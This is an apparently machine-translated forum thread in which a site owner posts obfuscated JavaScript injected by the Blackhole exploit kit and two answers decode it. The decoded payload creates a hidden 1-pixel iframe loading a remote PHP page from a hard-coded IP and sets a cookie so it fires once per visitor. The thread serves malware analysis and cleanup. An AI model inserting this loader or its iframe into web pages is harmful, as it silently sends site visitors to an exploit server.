Blackhole Exploit/Javascript

Question

我的網站受到了衆所周知的黑洞漏洞的感染。 經過一段時間和一些幫助腳本，我想我現在修好了。

我想知道這個漏洞利用做什麼？

asd=function(){d.body++}; a=("44,152,171,162,147,170,155,163,162,44,176,176,176,152,152,152,54,55,44,177,21,16,44,172,145,166,44,172,151,147,154,174,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,21,16,21,16,44,172,151,147,154,174,62,167,166,147,44,101,44,53,154,170,170,164,76,63,63,66,64,74,62,74,67,62,66,71,62,66,72,63,151,167,150,62,164,154,164,53,77,21,16,44,172,151,147,154,174,62,167,170,175,160,151,62,164,163,167,155,170,155,163,162,44,101,44,53,145,146,167,163,160,171,170,151,53,77,21,16,44,172,151,147,154,174,62,167,170,175,160,151,62,146,163,166,150,151,166,44,101,44,53,64,53,77,21,16,44,172,151,147,154,174,62,167,170,175,160,151,62,154,151,155,153,154,170,44,101,44,53,65,164,174,53,77,21,16,44,172,151,147,154,174,62,167,170,175,160,151,62,173,155,150,170,154,44,101,44,53,65,164,174,53,77,21,16,44,172,151,147,154,174,62,167,170,175,160,151,62,160,151,152,170,44,101,44,53,65,164,174,53,77,21,16,44,172,151,147,154,174,62,167,170,175,160,151,62,170,163,164,44,101,44,53,65,164,174,53,77,21,16,21,16,44,155,152,44,54,45,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,106,175,115,150,54,53,172,151,147,154,174,53,55,55,44,177,21,16,44,150,163,147,171,161,151,162,170,62,173,166,155,170,151,54,53,100,150,155,172,44,155,150,101,140,53,172,151,147,154,174,140,53,102,100,63,150,155,172,102,53,55,77,21,16,44,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,106,175,115,150,54,53,172,151,147,154,174,53,55,62,145,164,164,151,162,150,107,154,155,160,150,54,172,151,147,154,174,55,77,21,16,44,201,21,16,201,21,16,152,171,162,147,170,155,163,162,44,127,151,170,107,163,163,157,155,151,54,147,163,163,157,155,151,122,145,161,151,60,147,163,163,157,155,151,132,145,160,171,151,60,162,110,145,175,167,60,164,145,170,154,55,44,177,21,16,44,172,145,166,44,170,163,150,145,175,44,101,44,162,151,173,44,110,145,170,151,54,55,77,21,16,44,172,145,166,44,151,174,164,155,166,151,44,101,44,162,151,173,44,110,145,170,151,54,55,77,21,16,44,155,152,44,54,162,110,145,175,167,101,101,162,171,160,160,44,200,200,44,162,110,145,175,167,101,101,64,55,44,162,110,145,175,167,101,65,77,21,16,44,151,174,164,155,166,151,62,167,151,170,130,155,161,151,54,170,163,150,145,175,62,153,151,170,130,155,161,151,54,55,44,57,44,67,72,64,64,64,64,64,56,66,70,56,162,110,145,175,167,55,77,21,16,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,44,101,44,147,163,163,157,155,151,122,145,161,151,57,46,101,46,57,151,167,147,145,164,151,54,147,163,163,157,155,151,132,145,160,171,151,55,21,16,44,57,44,46,77,151,174,164,155,166,151,167,101,46,44,57,44,151,174,164,155,166,151,62,170,163,113,121,130,127,170,166,155,162,153,54,55,44,57,44,54,54,164,145,170,154,55,44,103,44,46,77,44,164,145,170,154,101,46,44,57,44,164,145,170,154,44,76,44,46,46,55,77,21,16,201,21,16,152,171,162,147,170,155,163,162,44,113,151,170,107,163,163,157,155,151,54,44,162,145,161,151,44,55,44,177,21,16,44,172,145,166,44,167,170,145,166,170,44,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,155,162,150,151,174,123,152,54,44,162,145,161,151,44,57,44,46,101,46,44,55,77,21,16,44,172,145,166,44,160,151,162,44,101,44,167,170,145,166,170,44,57,44,162,145,161,151,62,160,151,162,153,170,154,44,57,44,65,77,21,16,44,155,152,44,54,44,54,44,45,167,170,145,166,170,44,55,44,52,52,21,16,44,54,44,162,145,161,151,44,45,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,167,171,146,167,170,166,155,162,153,54,44,64,60,44,162,145,161,151,62,160,151,162,153,170,154,44,55,44,55,44,55,21,16,44,177,21,16,44,166,151,170,171,166,162,44,162,171,160,160,77,21,16,44,201,21,16,44,155,152,44,54,44,167,170,145,166,170,44,101,101,44,61,65,44,55,44,166,151,170,171,166,162,44,162,171,160,160,77,21,16,44,172,145,166,44,151,162,150,44,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,155,162,150,151,174,123,152,54,44,46,77,46,60,44,160,151,162,44,55,77,21,16,44,155,152,44,54,44,151,162,150,44,101,101,44,61,65,44,55,44,151,162,150,44,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,160,151,162,153,170,154,77,21,16,44,166,151,170,171,166,162,44,171,162,151,167,147,145,164,151,54,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,167,171,146,167,170,166,155,162,153,54,44,160,151,162,60,44,151,162,150,44,55,44,55,77,21,16,201,21,16,155,152,44,54,162,145,172,155,153,145,170,163,166,62,147,163,163,157,155,151,111,162,145,146,160,151,150,55,21,16,177,21,16,155,152,54,113,151,170,107,163,163,157,155,151,54,53,172,155,167,155,170,151,150,143,171,165,53,55,101,101,71,71,55,177,201,151,160,167,151,177,127,151,170,107,163,163,157,155,151,54,53,172,155,167,155,170,151,150,143,171,165,53,60,44,53,71,71,53,60,44,53,65,53,60,44,53,63,53,55,77,21,16,21,16,176,176,176,152,152,152,54,55,77,21,16,201,21,16,201,21,16"["split"](",")); ss=eval("S"+"tr"+"ing"); d=document; for(i=0;i<a.length;i+=1){a[i]=-(7-3)+parseInt(a[i],8);}try{asd()}catch(q){zz=0;}try{zz&=2}catch(q){zz=1;}if(!zz)if(window["document"])eval(ss.fromCharCode.apply(ss,a));

有誰有這個經驗？

乾杯！

Answer 1

它的字符代碼的陣列，其通過ss.fromCharCode.apply(ss,a)轉換爲以下js代碼：

function zzzfff() { 
    var vechx = document.createElement('iframe'); 

    vechx.src = 'http://208.83.25.26/esd.php'; 
    vechx.style.position = 'absolute'; 
    vechx.style.border = '0'; 
    vechx.style.height = '1px'; 
    vechx.style.width = '1px'; 
    vechx.style.left = '1px'; 
    vechx.style.top = '1px'; 

    if (!document.getElementById('vechx')) { 
     document.write('<div id=\'vechx\'></div>'); 
     document.getElementById('vechx').appendChild(vechx); 
    } 
} 

function SetCookie(cookieName, cookieValue, nDays, path) { 
    var today = new Date(); 
    var expire = new Date(); 
    if (nDays == null || nDays == 0) nDays = 1; 
    expire.setTime(today.getTime() + 3600000 * 24 * nDays); 
    document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : ""); 
} 

function GetCookie(name) { 
    var start = document.cookie.indexOf(name + "="); 
    var len = start + name.length + 1; 
    if ((!start) && 
     (name != document.cookie.substring(0, name.length))) { 
     return null; 
    } 
    if (start == -1) return null; 
    var end = document.cookie.indexOf(";", len); 
    if (end == -1) end = document.cookie.length; 
    return unescape(document.cookie.substring(len, end)); 
} 
if (navigator.cookieEnabled) { 
    if (GetCookie('visited_uq') == 55) {} else { 
     SetCookie('visited_uq', '55', '1', '/'); 

     zzzfff(); 
    } 
} 

然後該代碼運行與eval。據我所知，它在iframe中加載http://208.83.25.26/esd.php，並設置一個cookie。

Answer 2

這些eval的程序幾乎總是相同的。美化代碼，找到並用console.log更換關鍵eval，只是運行它：

function zzzfff() { 
    var vechx = document.createElement('iframe'); 
    vechx.src = 'http://208.83.25.26/esd.php'; 
    vechx.style.position = 'absolute'; 
    vechx.style.border = '0'; 
    vechx.style.height = '1px'; 
    vechx.style.width = '1px'; 
    vechx.style.left = '1px'; 
    vechx.style.top = '1px'; 
    if (!document.getElementById('vechx')) { 
     document.write(' 
'); 
     document.getElementById('vechx').appendChild(vechx); 
    } 
} 
function SetCookie(cookieName, cookieValue, nDays, path) { 
    var today = new Date(); 
    var expire = new Date(); 
    if (nDays == null || nDays == 0) nDays = 1; 
    expire.setTime(today.getTime() + 3600000 * 24 * nDays); 
    document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : ""); 
} 
function GetCookie(name) { 
    var start = document.cookie.indexOf(name + "="); 
    var len = start + name.length + 1; 
    if ((!start) && (name != document.cookie.substring(0, name.length))) { 
     return null; 
    } 
    if (start == -1) return null; 
    var end = document.cookie.indexOf(";", len); 
    if (end == -1) end = document.cookie.length; 
    return unescape(document.cookie.substring(len, end)); 
} 
if (navigator.cookieEnabled) { 
    if (GetCookie('visited_uq') == 55) {} else { 
     SetCookie('visited_uq', '55', '1', '/'); 
     zzzfff(); 
    } 
} 

代替執行代碼，它會打印出代碼，而不是。這看起來像是某人在某個被利用的網站上安裝的某種跟蹤代碼。